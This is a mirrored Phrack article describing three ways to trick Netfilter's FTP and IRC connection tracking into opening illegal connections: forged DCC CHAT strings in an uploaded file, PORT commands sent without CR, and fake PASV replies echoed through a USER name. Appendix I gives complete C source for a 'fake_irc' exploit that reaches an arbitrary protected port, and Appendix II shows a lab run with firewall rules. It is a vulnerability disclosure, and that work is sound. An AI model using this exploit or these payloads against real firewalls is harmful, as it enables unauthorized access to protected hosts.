mirror of
https://github.com/fdiskyou/Zines.git
synced 2025-03-09 00:00:00 +01:00
854 lines
30 KiB
Text
854 lines
30 KiB
Text
![]() |
==Phrack Inc.==
|
||
|
|
||
|
Volume 0x0b, Issue 0x3f, Phile #0x13 of 0x14
|
||
|
|
||
|
|=------=[ Breaking through a Firewall using a forged FTP command ]=-----=|
|
||
|
|=-----------------------------------------------------------------------=|
|
||
|
|=-------------=[ Soungjoo Han <kotkrye@hanmail.net> ]=------------------=|
|
||
|
|
||
|
|
||
|
Table of Contents
|
||
|
|
||
|
1 - Introduction
|
||
|
2 - FTP, IRC and the stateful inspection of Netfilter
|
||
|
3 - Attack Scenario I
|
||
|
3.1 - First Trick
|
||
|
3.2 - First Trick Details
|
||
|
4 - Attack Scenario II - Non-standard command line
|
||
|
4.1 - Second Trick Details
|
||
|
5 - Attack Scenario III - 'echo' feature of FTP reply
|
||
|
5.1 - Passive FTP: background information
|
||
|
5.2 - Third Trick Details
|
||
|
6 - APPENDIX I. A demonstration tool of the second trick
|
||
|
7 - APPENDIX II. A demonstration example of the second attack trick.
|
||
|
|
||
|
|
||
|
--[ 1 - Introduction
|
||
|
|
||
|
FTP is a protocol that uses two connections. One of them is called a
|
||
|
control connection and the other, a data connection. FTP commands and
|
||
|
replies are exchanged across the control connection that lasts during an
|
||
|
FTP session. On the other hand, a file(or a list of files) is sent across
|
||
|
the data connection, which is newly established each time a file is
|
||
|
transferred.
|
||
|
|
||
|
Most firewalls do not usually allow any connections except FTP control
|
||
|
connections to an FTP server port(TCP port 21 by default) for network
|
||
|
security. However, as long as a file is transferred, they accept the data
|
||
|
connection temporarily. To do this, a firewall tracks the control
|
||
|
connection state and detects the command related to file transfer. This is
|
||
|
called stateful inspection.
|
||
|
|
||
|
I've created three attack tricks that make a firewall allow an illegal
|
||
|
connection by deceiving its connection tracking using a forged FTP command.
|
||
|
|
||
|
I actually tested them in Netfilter/IPTables, which is a firewall
|
||
|
installed by default in the Linux kernel 2.4 and 2.6. I confirmed the first
|
||
|
trick worked in the Linux kernel 2.4.18 and the second one(a variant of the
|
||
|
first one) worked well in the Linux 2.4.28(a recent version of the Linux
|
||
|
kernel).
|
||
|
|
||
|
This vulnerability was already reported to the Netfilter project team
|
||
|
and they fixed it in the Linux kernel 2.6.11.
|
||
|
|
||
|
|
||
|
--[ 2 - FTP, IRC and the stateful inspection of Netfilter
|
||
|
|
||
|
First, let's examine FTP, IRC(You will later know why IRC is mentioned)
|
||
|
and the stateful inspection of Netfilter. If you are a master of them, you
|
||
|
can skip this chapter.
|
||
|
|
||
|
As stated before, FTP uses a control connection in order to exchange
|
||
|
the commands and replies(, which are represented in ASCII) and, on the
|
||
|
contrary, uses a data connection for file transfer.
|
||
|
|
||
|
For instance, when you command "ls" or "get <a file name>" at FTP
|
||
|
prompt, the FTP server(in active mode) actively initiates a data connection
|
||
|
to a TCP port number(called a data port) on the FTP client, your host. The
|
||
|
client, in advance, sends the data port number using a PORT command, one of
|
||
|
FTP commands.
|
||
|
|
||
|
The format of a PORT command is as follows.
|
||
|
|
||
|
PORT<space>h1,h2,h3,h4,p1,p2<CRLF>
|
||
|
|
||
|
Here the character string "h1,h2,h3,h4" means the dotted-decimal IP
|
||
|
"h1.h2.h3.h4" which belongs to the client. And the string "p1,p2" indicates
|
||
|
a data port number(= p1 * 256 + p2). Each field of the address and port
|
||
|
number is in decimal number. A data port is dynamically assigned by a
|
||
|
client. In addition, the commands and replies end with <CRLF> character
|
||
|
sequence.
|
||
|
|
||
|
Netfilter tracks an FTP control connection and gets the TCP sequence
|
||
|
number and the data length of a packet containing an FTP command line
|
||
|
(which ends with <LF>). And then it computes the sequence number of the
|
||
|
next command packet based on the information. When a packet with the
|
||
|
sequence number is arrived, Netfilter analyzes whether the data of the
|
||
|
packet contains an FTP command. If the head of the data is the same as
|
||
|
"PORT" and the data ends with <CRLF>, then Netfilter considers it as a
|
||
|
valid PORT command (the actual codes are a bit more complicated) and
|
||
|
extracts an IP address and a port number from it. Afterwards, Netfilter
|
||
|
"expects" the server to actively initiate a data connection to the
|
||
|
specified port number on the client. When the data connection request is
|
||
|
actually arrived, it accepts the connection only while it is established.
|
||
|
In the case of an incomplete command which is called a "partial" command,
|
||
|
it is dropped for an accurate tracking.
|
||
|
|
||
|
IRC (Internet Relay Chat) is an Internet chatting protocol. An IRC
|
||
|
client can use a direct connection in order to speak with another client.
|
||
|
When a client logs on the server, he/she connects to an IRC server
|
||
|
(TCP port 6667 by default). On the other hand, when the client wants to
|
||
|
communicate with another, he/she establishes a direct connection to the
|
||
|
peer. To do this, the client sends a message called a DCC CHAT command in
|
||
|
advance. The command is analogous to an FTP PORT command. And Netfilter
|
||
|
tracks IRC connections as well. It expects and accepts a direct chatting
|
||
|
connection.
|
||
|
|
||
|
|
||
|
--[ 3 - Attack Scenario I
|
||
|
|
||
|
----[ 3.1 - First Trick
|
||
|
|
||
|
I have created a way to connect illegally to any TCP port on an FTP
|
||
|
server that Netfilter protects by deceiving the connection-tracking module
|
||
|
in the Linux kernel 2.4.18.
|
||
|
|
||
|
In most cases, IPTables administrators make stateful packet filtering
|
||
|
rule(s) in order to accept some Internet services such as IRC direct
|
||
|
chatting and FTP file transfer. To do this, the administrators usually
|
||
|
insert the following rule into the IPTables rule list.
|
||
|
|
||
|
iptables -A FORWARD -m state --state ESTABLISHED, RELATED -j ACCEPT
|
||
|
|
||
|
Suppose that a malicious user who logged on the FTP server transmits a
|
||
|
PORT command with TCP port number 6667(this is a default IRC server port
|
||
|
number) on the external network and then attempts to download a file from
|
||
|
the server.
|
||
|
|
||
|
The FTP server actively initiates a data connection to the data port
|
||
|
6667 on the attacker's host. The firewall accepts this connection under the
|
||
|
stateful packet filtering rule stated before. Once the connection is
|
||
|
established, the connection-tracking module of the firewall(in the Linux
|
||
|
kernel 2.4.18) has the security flaw to mistake this for an IRC connection.
|
||
|
Thus the attacker's host can pretend to be an IRC server.
|
||
|
|
||
|
If the attacker downloads a file comprised of a string that has the
|
||
|
same pattern as DCC CHAT command, the connection-tracking module will
|
||
|
misunderstand the contents of a packet for the file transfer as a DCC CHAT
|
||
|
command.
|
||
|
|
||
|
As a result, the firewall allows any host to connect to the TCP port
|
||
|
number, which is specified in the fake DCC CHAT command, on the fake IRC
|
||
|
client (i.e., the FTP server) according to the rule to accept the "related"
|
||
|
connection for IRC. For this, the attacker has to upload the file before
|
||
|
the intrusion.
|
||
|
|
||
|
In conclusion, the attacker is able to illegally connect to any TCP
|
||
|
port on the FTP server.
|
||
|
|
||
|
|
||
|
----[ 3.2 - First Trick Details
|
||
|
|
||
|
To describe this in detail, let's assume a network configuration is as
|
||
|
follows.
|
||
|
|
||
|
(a) A Netfilter/IPtables box protects an FTP server in a network. So users
|
||
|
in the external network can connect only to FTP server port on the FTP
|
||
|
server. Permitted users can log on the server and download/upload
|
||
|
files.
|
||
|
|
||
|
(b) Users in the protected network, including FTP server host, can connect
|
||
|
only to IRC servers in the external network.
|
||
|
|
||
|
(c) While one of the internet services stated in (a) and (b) is
|
||
|
established, the secondary connections(e.g., FTP data connection)
|
||
|
related to the service can be accepted temporarily.
|
||
|
|
||
|
(d) Any other connections are blocked.
|
||
|
|
||
|
To implement stateful inspection for IRC and FTP, the administrator
|
||
|
loads the IP connection tracking modules called ip_conntrack into the
|
||
|
firewall including ip_conntrack_ftp and ip_conntrack_irc that track FTP and
|
||
|
IRC, respectively. Ipt_state must be also loaded.
|
||
|
|
||
|
Under the circumstances, an attacker can easily create a program that
|
||
|
logs on the FTP server and then makes the server actively initiate an FTP
|
||
|
data connection to an arbitrary TCP port on his/her host.
|
||
|
|
||
|
Suppose that he/she transmits a PORT command with data port 6667 (i.e.,
|
||
|
default IRC server port).
|
||
|
|
||
|
An example is "PORT 192,168,100,100,26,11\r\n".
|
||
|
|
||
|
The module ip_conntrack_ftp tracking this connection analyzes the PORT
|
||
|
command and "expects" the FTP server to issue an active open to the
|
||
|
specified port on the attacker's host.
|
||
|
|
||
|
Afterwards, the attacker sends an FTP command to download a file,
|
||
|
"RETR <a file name>". The server tries to connect to port 6667 on the
|
||
|
attacker's host. Netfilter accepts the FTP data connection under the
|
||
|
stateful packet filtering rule.
|
||
|
|
||
|
Once the connection is established, the module ip_conntrack mistakes
|
||
|
this for IRC connection. Ip_conntrack regards the FTP server as an IRC
|
||
|
client and the attacker's host as an IRC server. If the fake IRC client
|
||
|
(i.e., the FTP server) transmits packets for the FTP data connection, the
|
||
|
module ip_conntrack_irc will try to find a DCC protocol message from the
|
||
|
packets.
|
||
|
|
||
|
The attacker can make the FTP server send the fake DCC CHAT command
|
||
|
using the following trick. Before this intrusion, the attacker uploads a
|
||
|
file comprised of a string that has the same pattern as a DCC CHAT command
|
||
|
in advance.
|
||
|
|
||
|
To my knowledge, the form of a DCC CHAT command is as follows.
|
||
|
|
||
|
"\1DCC<a blank>CHAT<a blank>t<a blank><The decimal IP address of the IRC
|
||
|
client><blanks><The TCP port number of the IRC client>\1\n"
|
||
|
|
||
|
An example is "\1DCC CHAT t 3232236548 8000\1\n"
|
||
|
|
||
|
In this case, Netfilter allows any host to do an active open to the TCP
|
||
|
port number on the IRC client specified in the line. The attacker can, of
|
||
|
course, arbitrarily specify the TCP port number in the fake DCC CHAT
|
||
|
command message.
|
||
|
|
||
|
If a packet of this type is passed through the firewall, the module
|
||
|
ip_conntrack_irc mistakes this message for a DCC CHAT command and "expects"
|
||
|
any host to issue an active open to the specified TCP port number on the
|
||
|
FTP server for a direct chatting.
|
||
|
|
||
|
As a result, Netfilter allows the attacker to connect to the port
|
||
|
number on the FTP server according to the stateful inspection rule.
|
||
|
|
||
|
After all, the attacker can illegally connect to any TCP port on the
|
||
|
FTP server using this trick.
|
||
|
|
||
|
|
||
|
--[ 4 - Attack Scenario II - Non-standard command line
|
||
|
|
||
|
----[ 4.1. Second Trick Details
|
||
|
|
||
|
Netfilter in the Linux kernel 2.4.20(and the later versions) is so
|
||
|
fixed that a secondary connection(e.g., an FTP data connection) accepted by
|
||
|
a primary connection is not mistaken for that of any other protocol. Thus
|
||
|
the packet contents of an FTP data connection are not parsed any more by
|
||
|
the IRC connection-tracking module.
|
||
|
|
||
|
However, I've created a way to connect illegally to any TCP port on an
|
||
|
FTP server that Netfilter protects by dodging connection tracking using a
|
||
|
nonstandard FTP command. As stated before, I confirmed that it worked in
|
||
|
the Linux kernel 2.4.28.
|
||
|
|
||
|
Under the circumstances stated in the previous chapter, a malicious
|
||
|
user in the external network can easily create a program that logs on the
|
||
|
FTP server and transmits a nonstandard FTP command line.
|
||
|
|
||
|
For instance, an attacker can transmit a PORT command without the
|
||
|
character <CR> in the end of the line. The command line has only <LF> in
|
||
|
the end.
|
||
|
|
||
|
An example is "PORT 192,168,100,100,26,11\n".
|
||
|
|
||
|
On the contrary, a standard FTP command has <CRLF> sequence to denote
|
||
|
the end of a line.
|
||
|
|
||
|
If the module ip_conntrack_ftp receives a nonstandard PORT command of
|
||
|
this type, it first detects a command and finds the character <CR> for the
|
||
|
parsing. Because it cannot be found, ip_conntrack_ftp regards this as a
|
||
|
"partial" command and drops the packet.
|
||
|
|
||
|
Just before this action, ip_conntrack_ftp anticipated the sequence
|
||
|
number of a packet that contains the next FTP command line and updated the
|
||
|
associated information. This number is calculated based on the TCP sequence
|
||
|
number and the data length of the "partial" PORT command packet.
|
||
|
|
||
|
However, a TCP client, afterwards, usually retransmits the identical
|
||
|
PORT command packet since the corresponding reply is not arrived at the
|
||
|
client. In this case, ip_conntrack_ftp does NOT consider this retransmitted
|
||
|
packet as an FTP command because its sequence number is different from that
|
||
|
of the next FTP command anticipated. From the point of view of
|
||
|
ip_conntrack_ftp, the packet has a "wrong" sequence number position.
|
||
|
|
||
|
The module ip_conntrack_ftp just accepts the packet without analyzing
|
||
|
this command. The FTP server can eventually receive the retransmitted
|
||
|
packet from the attacker.
|
||
|
|
||
|
Although ip_conntrack_ftp regards this "partial" command as INVALID,
|
||
|
some FTP servers such as wu-FTP and IIS FTP conversely consider this PORT
|
||
|
command without <CR> as VALID. In conclusion, the firewall, in this case,
|
||
|
fails to "expect" the FTP data connection.
|
||
|
|
||
|
And when the attacker sends a RETR command to download a file from the
|
||
|
server, the server initiates to connect to the TCP port number, specified
|
||
|
in the partial PORT command, on the attacker's host.
|
||
|
|
||
|
Suppose that the TCP port number is 6667(IRC server port), the firewall
|
||
|
accepts this connection under the stateless packet filtering rule that
|
||
|
allows IRC connections instead of the stateful filtering rule. So the IP
|
||
|
connection-tracking module mistakes the connection for IRC.
|
||
|
|
||
|
The next steps of the attack are the same as those of the trick stated
|
||
|
in the previous chapter.
|
||
|
|
||
|
In conclusion, the attacker is able to illegally connect to any TCP
|
||
|
port on the FTP server that the Netfilter firewall box protects.
|
||
|
|
||
|
*[supplement] There is a more refined method to dodge the
|
||
|
connection-tracking of Netfilter. It uses default data port. On condition
|
||
|
that data port is not specified by a PORT command and a data connection is
|
||
|
required to be established, an FTP server does an active open from port 20
|
||
|
on the server to the same (a client's) port number that is being used for
|
||
|
the control connection.
|
||
|
|
||
|
To do this, the client has to listen on the local port in advance. In
|
||
|
addition, he/she must bind the local port to 6667(IRCD) and set the socket
|
||
|
option "SO_REUSEADDR" in order to reuse this port.
|
||
|
|
||
|
Because a PORT command never passes through a Netfilter box, the
|
||
|
firewall can't anticipate the data connection. I confirmed that it worked
|
||
|
in the Linux kernel 2.4.20.
|
||
|
|
||
|
** A demonstration tool and an example of this attack are described in
|
||
|
APPENDIX I and APPENDIX II, respectively.
|
||
|
|
||
|
|
||
|
--[ 5 - Attack Scenario III - 'echo' feature of FTP reply
|
||
|
|
||
|
----[ 5.1 - Passive FTP: background information
|
||
|
|
||
|
An FTP server is able to do a passive open for a data connection as
|
||
|
well. This is called passive FTP. On the contrary, FTP that does an active
|
||
|
open is called active FTP.
|
||
|
|
||
|
Just before file transfer in the passive mode, the client sends a PASV
|
||
|
command and the server replies the corresponding message with a data port
|
||
|
number to the client. An example is as follows.
|
||
|
|
||
|
-> PASV\r\n
|
||
|
<- 227 Entering Passive Mode (192,168,20,20,42,125)\r\n
|
||
|
|
||
|
Like a PORT command, the IP address and port number are separated by
|
||
|
commas. Meanwhile, when you enter a user name, the following command and
|
||
|
reply are exchanged.
|
||
|
|
||
|
-> USER <a user name>\r\n
|
||
|
<- 331 Password required for <the user name>.\r\n
|
||
|
|
||
|
|
||
|
----[ 5.2 - Third Trick Details
|
||
|
|
||
|
Right after a user creates a connection to an FTP server, the server
|
||
|
usually requires a user name. When the client enters a login name at FTP
|
||
|
prompt, a USER command is sent and then the same character sequence as the
|
||
|
user name, which is a part of the corresponding reply, is returned like
|
||
|
echo. For example, a user enters the sting "Alice Lee" as a login name at
|
||
|
FTP prompt, the following command line is sent across the control
|
||
|
connection.
|
||
|
|
||
|
-> USER Alice Lee\r\n
|
||
|
|
||
|
The FTP server usually replies to it as follows.
|
||
|
|
||
|
<- 331 Password required for Alice Lee.\r\n
|
||
|
|
||
|
("Alice Lee" is echoed.)
|
||
|
|
||
|
Blanks are able to be included in a user name.
|
||
|
|
||
|
A malicious user can insert a arbitrary pattern in the name. For
|
||
|
instance, when the same pattern as the reply for passive FTP is inserted in
|
||
|
it, a part of the reply is arrived like a reply related to passive FTP.
|
||
|
|
||
|
-> USER 227 Entering Passive Mode (192,168,20,29,42,125)\r\n
|
||
|
<- 331 Password required for 227 Entering Passive Mode
|
||
|
(192,168,20,29,42,125).\r\n
|
||
|
|
||
|
Does a firewall confuse it with a `real' passive FTP reply? Maybe most
|
||
|
firewalls are not deceived by the trick because the pattern is in the
|
||
|
middle of the reply line.
|
||
|
|
||
|
However, suppose that the TCP window size field of the connection is
|
||
|
properly adjusted by the attacker when the connection is established, then
|
||
|
the contents can be divided into two like two separate replies.
|
||
|
|
||
|
(A) ----->USER xxxxxxxxx227 Entering Passive Mode
|
||
|
(192,168,20,29,42,125)\r\n
|
||
|
(B) <-----331 Password required for xxxxxxxxx
|
||
|
(C) ----->ACK(with no data)
|
||
|
(D) <-----227 Entering Passive Mode (192,168,20,20,42,125).\r\n
|
||
|
|
||
|
(where the characters "xxxxx..." are inserted garbage used to adjust the
|
||
|
data length.)
|
||
|
|
||
|
I actually tested it for Netfilter/IPTables. I confirmed that Netfilter
|
||
|
does not mistake the line (D) for a passive FTP reply at all.
|
||
|
|
||
|
The reason is as follows.
|
||
|
|
||
|
(B) is not a complete command line that ends with <LF>. Netfilter,
|
||
|
thus, never considers (D), the next packet data of (B) as the next reply.
|
||
|
As a result, the firewall doesn't try to parse (D).
|
||
|
|
||
|
But, if there were a careless connection-tracking firewall, the attack
|
||
|
would work.
|
||
|
|
||
|
In the case, the careless firewall would expect the client to do an
|
||
|
active open to the TCP port number, which is specified in the fake reply,
|
||
|
on the FTP server. When the attacker initiates a connection to the target
|
||
|
port on the server, the firewall eventually accepts the illegal connection.
|
||
|
|
||
|
|
||
|
--[ 6 - APPENDIX I. A demonstration tool of the second trick
|
||
|
|
||
|
I wrote an exploiting program using C language. I used the following
|
||
|
compilation command.
|
||
|
|
||
|
/>gcc -Wall -o fake_irc fake_irc.c
|
||
|
|
||
|
The source code is as follows.
|
||
|
|
||
|
/*
|
||
|
USAGE : ./fake_irc <an FTP server IP> <a target port>
|
||
|
<a user name> <a password> <a file name to be downloaded>
|
||
|
|
||
|
- <an FTP server IP> : An FTP server IP that is a victim
|
||
|
- <a target port> : the target TCP port on the FTP server to which an
|
||
|
attacker wants to connect
|
||
|
- <a user name> : a user name used to log on the FTP server
|
||
|
- <a password> : a password used to log on the FTP server
|
||
|
- <a file name to be downloaded> : a file name to be downloaded from the
|
||
|
FTP server
|
||
|
*/
|
||
|
|
||
|
#include <stdio.h>
|
||
|
#include <stdlib.h>
|
||
|
#include <string.h>
|
||
|
#include <unistd.h>
|
||
|
#include <sys/socket.h>
|
||
|
#include <arpa/inet.h>
|
||
|
|
||
|
#define BUF_SIZE 2048
|
||
|
#define DATA_BUF_SZ 65536
|
||
|
#define IRC_SERVER_PORT 6667
|
||
|
#define FTP_SERVER_PORT 21
|
||
|
|
||
|
static void usage(void)
|
||
|
{
|
||
|
printf("USAGE : ./fake_irc "
|
||
|
"<an FTP server IP> <a target port> <a user name> "
|
||
|
"<a password> <a file name to be downloaded>\n");
|
||
|
|
||
|
return;
|
||
|
}
|
||
|
|
||
|
void send_cmd(int fd, char *msg)
|
||
|
{
|
||
|
if(send(fd, msg, strlen(msg), 0) < 0) {
|
||
|
perror("send");
|
||
|
|
||
|
exit(0);
|
||
|
}
|
||
|
|
||
|
printf("--->%s\n", msg);
|
||
|
}
|
||
|
|
||
|
void get_reply(int fd)
|
||
|
{
|
||
|
char read_buffer[BUF_SIZE];
|
||
|
int size;
|
||
|
|
||
|
//get the FTP server message
|
||
|
if( (size = recv(fd, read_buffer, BUF_SIZE, 0)) < 0) {
|
||
|
perror("recv");
|
||
|
|
||
|
exit(0);
|
||
|
}
|
||
|
|
||
|
read_buffer[size] = '\0';
|
||
|
|
||
|
printf("<---%s\n", read_buffer);
|
||
|
}
|
||
|
|
||
|
void cmd_reply_xchg(int fd, char *msg)
|
||
|
{
|
||
|
send_cmd(fd, msg);
|
||
|
get_reply(fd);
|
||
|
}
|
||
|
|
||
|
/*
|
||
|
argv[0] : a program name
|
||
|
argv[1] : an FTP server IP
|
||
|
argv[2] : a target port on the FTP server host
|
||
|
argv[3] : a user name
|
||
|
argv[4] : a password
|
||
|
argv[5] : a file name to be downloaded
|
||
|
*/
|
||
|
int main(int argc, char **argv)
|
||
|
{
|
||
|
int fd, fd2, fd3, fd4;
|
||
|
struct sockaddr_in serv_addr, serv_addr2;
|
||
|
char send_buffer[BUF_SIZE];
|
||
|
char *ftp_server_ip, *user_id, *pwd, *down_file;
|
||
|
unsigned short target_port;
|
||
|
char data_buf[DATA_BUF_SZ];
|
||
|
struct sockaddr_in sa_cli;
|
||
|
socklen_t client_len;
|
||
|
unsigned int on = 1;
|
||
|
unsigned char addr8[4];
|
||
|
int datasize;
|
||
|
|
||
|
if(argc != 6) {
|
||
|
usage();
|
||
|
return -1;
|
||
|
}
|
||
|
|
||
|
ftp_server_ip = argv[1];
|
||
|
target_port = atoi(argv[2]);
|
||
|
user_id = argv[3];
|
||
|
pwd = argv[4];
|
||
|
down_file = argv[5];
|
||
|
|
||
|
if((fd = socket(AF_INET, SOCK_STREAM, 0)) <0) {
|
||
|
perror("socket");
|
||
|
return -1;
|
||
|
}
|
||
|
|
||
|
bzero(&serv_addr, sizeof(struct sockaddr_in));
|
||
|
serv_addr.sin_family = AF_INET;
|
||
|
serv_addr.sin_port = htons(FTP_SERVER_PORT);
|
||
|
serv_addr.sin_addr.s_addr = inet_addr(ftp_server_ip);
|
||
|
|
||
|
//connect to the FTP server
|
||
|
if(connect(fd, (struct sockaddr *) &serv_addr, sizeof(struct sockaddr))) {
|
||
|
perror("connect");
|
||
|
return -1;
|
||
|
}
|
||
|
|
||
|
//get the FTP server message
|
||
|
get_reply(fd);
|
||
|
|
||
|
//exchange a USER command and the reply
|
||
|
sprintf(send_buffer, "USER %s\r\n", user_id);
|
||
|
cmd_reply_xchg(fd, send_buffer);
|
||
|
|
||
|
|
||
|
//exchange a PASS command and the reply
|
||
|
sprintf(send_buffer, "PASS %s\r\n", pwd);
|
||
|
cmd_reply_xchg(fd, send_buffer);
|
||
|
|
||
|
//exchange a SYST command and the reply
|
||
|
sprintf(send_buffer, "SYST\r\n");
|
||
|
cmd_reply_xchg(fd, send_buffer);
|
||
|
|
||
|
sleep(1);
|
||
|
|
||
|
//write a PORT command
|
||
|
datasize = sizeof(serv_addr);
|
||
|
|
||
|
if(getsockname(fd, (struct sockaddr *)&serv_addr, &datasize) < 0 ) {
|
||
|
perror("getsockname");
|
||
|
return -1;
|
||
|
}
|
||
|
|
||
|
memcpy(addr8, &serv_addr.sin_addr.s_addr, sizeof(addr8));
|
||
|
|
||
|
sprintf(send_buffer, "PORT %hhu,%hhu,%hhu,%hhu,%hhu,%hhu\n",
|
||
|
addr8[0], addr8[1], addr8[2], addr8[3],
|
||
|
IRC_SERVER_PORT/256, IRC_SERVER_PORT % 256);
|
||
|
|
||
|
cmd_reply_xchg(fd, send_buffer);
|
||
|
|
||
|
//Be a server for an active FTP data connection
|
||
|
if((fd2 = socket(AF_INET, SOCK_STREAM, 0)) <0) {
|
||
|
perror("socket");
|
||
|
return -1;
|
||
|
}
|
||
|
|
||
|
if(setsockopt(fd2, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)) < 0) {
|
||
|
perror("setsockopt");
|
||
|
return -1;
|
||
|
}
|
||
|
|
||
|
bzero(&serv_addr, sizeof(struct sockaddr_in));
|
||
|
serv_addr.sin_family = AF_INET;
|
||
|
serv_addr.sin_port = htons(IRC_SERVER_PORT);
|
||
|
serv_addr.sin_addr.s_addr = INADDR_ANY;
|
||
|
|
||
|
if( bind(fd2, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0 ) {
|
||
|
perror("bind");
|
||
|
return -1;
|
||
|
}
|
||
|
|
||
|
if( listen(fd2, SOMAXCONN) < 0 ) {
|
||
|
perror("listen");
|
||
|
return -1;
|
||
|
}
|
||
|
|
||
|
//send a RETR command after calling listen()
|
||
|
sprintf(send_buffer, "RETR %s\r\n", down_file);
|
||
|
cmd_reply_xchg(fd, send_buffer);
|
||
|
|
||
|
|
||
|
//accept the active FTP data connection request
|
||
|
client_len = sizeof(sa_cli);
|
||
|
bzero(&sa_cli, client_len);
|
||
|
|
||
|
fd3 = accept (fd2, (struct sockaddr*) &sa_cli, &client_len);
|
||
|
|
||
|
if( fd3 < 0 ) {
|
||
|
perror("accept");
|
||
|
return -1;
|
||
|
}
|
||
|
|
||
|
//get the fake DCC command
|
||
|
bzero(data_buf, DATA_BUF_SZ);
|
||
|
|
||
|
if( recv(fd3, data_buf, DATA_BUF_SZ, 0) < 0) {
|
||
|
perror("recv");
|
||
|
return -1;
|
||
|
}
|
||
|
puts(data_buf);
|
||
|
|
||
|
///Start of the attack
|
||
|
if((fd4= socket(AF_INET, SOCK_STREAM, 0)) <0) {
|
||
|
perror("socket");
|
||
|
return -1;
|
||
|
}
|
||
|
|
||
|
bzero(&serv_addr2, sizeof(struct sockaddr_in));
|
||
|
serv_addr2.sin_family = AF_INET;
|
||
|
serv_addr2.sin_port = htons(target_port );
|
||
|
serv_addr2.sin_addr.s_addr = inet_addr(ftp_server_ip);
|
||
|
|
||
|
if(connect(fd4, (struct sockaddr *)&serv_addr2, sizeof(struct sockaddr)))
|
||
|
{
|
||
|
perror("connect");
|
||
|
return -1;
|
||
|
}else
|
||
|
printf("\nConnected to the target port!!\n");
|
||
|
|
||
|
//Here, communicate with the target port
|
||
|
sleep(3);
|
||
|
|
||
|
close(fd4);//close the attack connection
|
||
|
/////////////The end of the attack.
|
||
|
|
||
|
close(fd3);//close the FTP data connection
|
||
|
|
||
|
|
||
|
//get the reply of FTP data transfer completion
|
||
|
get_reply(fd);
|
||
|
|
||
|
sleep(1);
|
||
|
|
||
|
close(fd);//close the FTP control connection
|
||
|
close(fd2);
|
||
|
|
||
|
return 0;
|
||
|
|
||
|
}/*The end*/
|
||
|
|
||
|
--------------------------------------------
|
||
|
|
||
|
--[ 7 - APPENDIX II. A demonstration example of the second attack trick
|
||
|
|
||
|
The followings are the circumstances in which I tested it actually.
|
||
|
|
||
|
The below symbol "[]" stands for a computer box.
|
||
|
|
||
|
[An attacker's host]-----[A firewall]-----[An FTP server]
|
||
|
(The network interfaces, eth1 and eth2 of the firewall are directly linked
|
||
|
to the attacker's host and server, respectively.)
|
||
|
|
||
|
As shown in the above figure, packets being transmitted between the FTP
|
||
|
client(i.e., the attacker) and the FTP server pass through the linux box
|
||
|
with IPTables in the Linux kernel 2.4.28.
|
||
|
|
||
|
The IP addresses assigned in each box are as follows.
|
||
|
|
||
|
(a) The attacker's host : 192.168.3.3
|
||
|
(b) eth1 port in the Linux box : 192.168.3.1
|
||
|
(c) The FTP server : 192.168.4.4
|
||
|
(d) eth2 port in the Linux box : 192.168.4.1
|
||
|
|
||
|
A TCP server is listening on the FTP server's host address and port
|
||
|
8000. The server on port 8000 is protected by IPTables. The attacker tried
|
||
|
to connect illegally to port 8000 on the FTP server in this demonstration.
|
||
|
|
||
|
The associated records during this attack are written in the following
|
||
|
order.
|
||
|
|
||
|
(1) The system configurations in the firewall, including the ruleset of
|
||
|
IPTables
|
||
|
(2) Tcpdump outputs on eth1 port of the firewall
|
||
|
(3) Tcpdump outputs on eth2 port of the firewall
|
||
|
(4) The file /proc/net/ip_conntrack data with the change of times. It shows
|
||
|
the information on connections being tracked.
|
||
|
(5) DEBUGP(), printk messages for debug in the source
|
||
|
files(ip_conntrack_core.c, ip_conntrack_ftp.c and ip_conntrack_irc.c).
|
||
|
For the detailed messages, I activated the macro function DEBUGP() in
|
||
|
the files.
|
||
|
|
||
|
Since some characters of the messages are Korean, they have been
|
||
|
deleted. I am sorry for this.
|
||
|
|
||
|
=====================================================================
|
||
|
|
||
|
(1) The system configurations in the firewall
|
||
|
|
||
|
[root@hans root]# uname -a
|
||
|
Linux hans 2.4.28 #2 2004. 12. 25. () 16:02:51 KST i686 unknown
|
||
|
|
||
|
[root@hans root]# lsmod
|
||
|
Module Size Used by Not tainted
|
||
|
ip_conntrack_irc 5216 0 (unused)
|
||
|
ip_conntrack_ftp 6304 0 (unused)
|
||
|
ipt_state 1056 1 (autoclean)
|
||
|
ip_conntrack 40312 2 (autoclean) [ip_conntrack_irc
|
||
|
ip_conntrack_ftp
|
||
|
ipt_state]
|
||
|
iptable_filter 2432 1 (autoclean)
|
||
|
ip_tables 16992 2 [ipt_state iptable_filter]
|
||
|
ext3 64032 3 (autoclean)
|
||
|
jbd 44800 3 (autoclean) [ext3]
|
||
|
usbcore 48576 0 (unused)
|
||
|
|
||
|
|
||
|
[root@hans root]# iptables -L
|
||
|
Chain INPUT (policy ACCEPT)
|
||
|
target prot opt source destination
|
||
|
|
||
|
Chain FORWARD (policy DROP)
|
||
|
target prot opt source destination
|
||
|
ACCEPT tcp -- 192.168.3.3 192.168.4.4 tcp dpt:ftp
|
||
|
ACCEPT tcp -- anywhere anywhere tcp dpt:auth
|
||
|
ACCEPT tcp -- 192.168.4.4 192.168.3.3 tcp dpt:ircd
|
||
|
ACCEPT all -- anywhere anywhere state
|
||
|
RELATED,ESTABL
|
||
|
ISHED
|
||
|
|
||
|
Chain OUTPUT (policy ACCEPT)
|
||
|
target prot opt source destination
|
||
|
|
||
|
|
||
|
|
||
|
[root@hans root]# route -n
|
||
|
Kernel IP routing table
|
||
|
Destination Gateway Genmask Flags Metric Ref Use
|
||
|
Iface
|
||
|
192.168.4.0 0.0.0.0 255.255.255.0 U 0 0 0
|
||
|
eth2
|
||
|
192.168.3.0 0.0.0.0 255.255.255.0 U 0 0 0
|
||
|
eth1
|
||
|
192.168.150.0 0.0.0.0 255.255.255.0 U 0 0 0
|
||
|
eth0
|
||
|
127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo
|
||
|
|
||
|
=====================================================================
|
||
|
|
||
|
(2) Tcpdump outputs on eth1 port of the firewall
|
||
|
|
||
|
You can see that the "partial" PORT commands were transmitted and an
|
||
|
illegal connection to port 8000 was established.
|
||
|
|
||
|
tcpdump -nn -i eth1 -s 0 -X
|
||
|
|
||
|
[ phrack staff: Output removed. Do it on your own. ]
|
||
|
|
||
|
=====================================================================
|
||
|
|
||
|
(3) Tcpdump outputs on eth2 port of the firewall
|
||
|
|
||
|
Only one PORT command w/o <CR> is shown on eth2 port since the first one
|
||
|
was dropped.
|
||
|
|
||
|
tcpdump -nn -i eth2 -s 0 -X
|
||
|
